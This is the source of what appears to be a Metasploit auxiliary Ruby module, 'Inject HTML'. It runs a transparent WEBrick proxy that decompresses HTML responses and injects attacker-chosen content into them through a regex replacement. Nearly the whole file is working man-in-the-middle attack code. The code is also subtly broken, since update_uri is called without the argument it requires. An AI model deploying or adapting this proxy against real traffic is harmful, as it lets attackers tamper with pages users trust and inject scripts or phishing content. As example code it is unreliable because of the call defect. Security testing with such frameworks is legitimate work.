82 lines
2.2 KiB
Ruby
Executable File
82 lines
2.2 KiB
Ruby
Executable File
##
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# $Id: inject_html.rb 1 clshack $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'webrick/httpproxy'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Inject HTML',
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'Version' => '$Revision$',
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'Description' => %q{
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Transparent proxy in ruby which is able to inject code in html page.
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},
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'Author' => 'clshack',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://www.freedomcoder.com.ar/2009/02/28/webrick-transparent-proxy-code-injection/'],
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['URL', 'http://www.clshack.it/rubytransparent-proxy-inject-htmljavascript.html']
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],
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)
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register_options([
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OptString.new('REGEX', [false, "Search content",'<title>']),
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OptString.new('REPLACE', [false, "Replace content with", '<title>Metasploit']),
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OptInt.new( 'LPORT', [false,"Proxy port listener",8080])
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], self.class)
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end
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def run
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regex = datastore['REGEX']
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replace = datastore['REPLACE']
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lport = datastore['LPORT']
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begin
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req_call = Proc.new do |req,res|
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req.update_uri()
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#puts "#{req.unparsed_uri}"
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end
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res_call = Proc.new do |req,res|
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res.inject_payload(replace,regex)
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end
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proxy = WEBrick::HTTPProxyServer.new(:Port =>lport ,:RequestCallBack => req_call,:ProxyContentHandler => res_call)
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trap("INT"){ proxy.shutdown }
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proxy.start
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end
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end
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end
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class WEBrick::HTTPRequest
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def update_uri(uri)
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@unparsed_uri = uri
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@request_uri = parse_uri(uri)
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end
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end
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class WEBrick::HTTPResponse
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def inject_payload(replace,regex)
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if content_type =~ /html/ or (content_type and content_type.empty? and body[/<http/]) then
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if ('gzip' == header['content-encoding'])
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header.delete('content-encoding')
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self.body = Zlib::GzipReader.new(StringIO.new(body)).read
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end
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self.body.gsub!( /#{regex}/i , "#{replace}")#replace
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end
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end
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end
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